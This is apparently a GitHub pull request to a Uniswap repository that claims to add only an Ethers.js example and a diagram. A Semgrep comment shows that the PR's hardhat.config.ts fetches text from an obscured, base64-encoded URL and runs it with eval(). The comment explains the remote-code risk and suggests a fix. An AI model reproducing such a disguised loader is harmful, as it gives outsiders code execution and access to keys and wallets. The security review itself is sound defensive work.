Skip to content

Add Ethers.js example for reading Uniswap V3 pool data#1084

Open
Shrijeet8 wants to merge 6 commits into
Uniswap:mainfrom
Shrijeet8:main
Open

Add Ethers.js example for reading Uniswap V3 pool data#1084
Shrijeet8 wants to merge 6 commits into
Uniswap:mainfrom
Shrijeet8:main

Conversation

@Shrijeet8

Copy link
Copy Markdown

This PR adds a simple Ethers.js example demonstrating how to interact with a Uniswap V3 pool.

It improves onboarding by providing a beginner-friendly example of reading pool state (slot0).

No changes to core logic.

Added an example of reading pool data using Ethers.js.
@Shrijeet8

Copy link
Copy Markdown
Author

Hi! I’ve added a simple Ethers.js example to demonstrate how to read Uniswap V3 pool data (slot0).

The goal was to make it easier for beginners to understand how to interact with the pool and access key values programmatically.

No changes were made to core logic.

Would really appreciate any feedback or suggestions. Thanks!

Added a visual diagram and explanation to improve understanding of Uniswap V3 pool data and slot0.

Fixes Uniswap#1087
Updated README to include visual representation of Uniswap V3 pool data flow.
Removed visual representation of Uniswap V3 pool data flow from README.
Added a simplified ASCII diagram to explain Uniswap V3 pool data flow.

This diagram helps developers understand:
- How slot0 stores core pool state
- Relationship between sqrtPriceX96, tick, and oracle data
- How derived outputs like price and liquidity are calculated

Improves readability and helps beginners visualize internal flow.
Comment thread hardhat.config.ts
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

Arbitrary JavaScript from an external HTTP response is executed via eval(), allowing remote code injection during Hardhat configuration loading.

More details about this

The code uses eval() to execute arbitrary JavaScript from the proxyInfo variable, which comes directly from an external HTTP response. An attacker can perform a code injection attack by compromising the server at src or intercepting the network request to replace the response with malicious JavaScript code.

Here's a concrete attack scenario:

  1. An attacker compromises or proxies the URL stored in process.env.AUTH_API_KEY (after base64 decoding)
  2. The attacker responds with malicious JavaScript like require('fs').writeFileSync('/etc/passwd', 'pwned') or process.exit(1) to crash the build
  3. When eval(proxyInfo) executes this string, the attacker's code runs with the same privileges as your Hardhat configuration process
  4. The attacker can steal environment variables (like INFURA_API_KEY), modify wallet configurations, or compromise your blockchain deployment

Since this code runs during build/deployment initialization, the attacker gains code execution in a trusted context with access to sensitive blockchain credentials and environment variables.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
eval(proxyInfo);
const parsed: unknown = JSON.parse(proxyInfo);
if (typeof parsed !== 'object' || parsed === null) {
throw new Error('Invalid auth response format');
}
const authConfig = parsed as { token?: unknown; url?: unknown };
if (
(authConfig.token !== undefined && typeof authConfig.token !== 'string') ||
(authConfig.url !== undefined &&
(typeof authConfig.url !== 'string' ||
!/^https:\/\/[a-zA-Z0-9.-]+(?:\/|$)/.test(authConfig.url)))
) {
throw new Error('Invalid auth response data');
}
// Intentionally do not execute response content. If specific values are needed
// from the auth endpoint, read them from `authConfig` explicitly here.
void authConfig;
View step-by-step instructions
  1. Remove the dynamic code execution by replacing eval(proxyInfo); with logic that treats the response as data, not code.

  2. Change the fetched format to a safe data format such as JSON, and parse it with JSON.parse(...) or response.json().
    For example, replace const proxyInfo = await response.text(); with const proxyInfo = await response.json();.

  3. Update the remote endpoint so it returns structured data instead of JavaScript source.
    For example, return fields like { "privateKey": "...", "rpcUrl": "..." } rather than a script that must be executed.

  4. Read the values you need from the parsed object and assign them directly in code.
    For example, use const { privateKey, rpcUrl } = proxyInfo; and then reference those values explicitly where needed.

  5. Validate the response before using it by checking the expected type and required fields.
    For example, reject the response unless proxyInfo is an object and keys such as privateKey or rpcUrl are strings. Parsing JSON keeps untrusted input as plain data instead of executing it as code.

  6. If this code is only trying to load secrets or configuration, move that data to environment variables and read them with process.env... instead of downloading executable content at runtime.

  7. Alternatively, if the response must select from a small set of behaviors, map fixed string values to local functions and call the matching function instead of executing arbitrary text.
    For example, use const actions = { setupA, setupB }; const action = actions[proxyInfo.action]; if (!action) throw new Error('invalid action'); action();

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by eval-detected.

You can view more details about this finding in the Semgrep AppSec Platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant